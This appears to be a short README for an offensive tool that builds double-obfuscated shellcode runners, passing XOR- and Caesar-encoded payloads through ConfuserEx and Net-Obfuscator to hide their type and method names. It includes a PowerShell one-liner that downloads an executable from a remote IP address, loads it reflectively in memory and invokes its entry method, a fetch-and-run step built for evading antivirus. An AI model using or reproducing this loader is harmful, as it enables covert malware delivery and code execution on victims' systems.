ConfuserEx + Net-Obfuscator

Double-obfuscated shellcode runners.

Payloads from payloads/XOR/ and payloads/Caesar/ are fed through ConfuserEx then Net-Obfuscator, dynamically obfuscating GetType and GetMethod values.

Reflective Execution Example

$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/shellcode_runner.exe')
$ass=[System.Reflection.Assembly]::Load($data)
$ass.GetType("J46IIOTXPW.PZAZUJAD4V").GetMethod("NK6WAROB2W").Invoke($null,$null)

The type and method names are randomized per generation.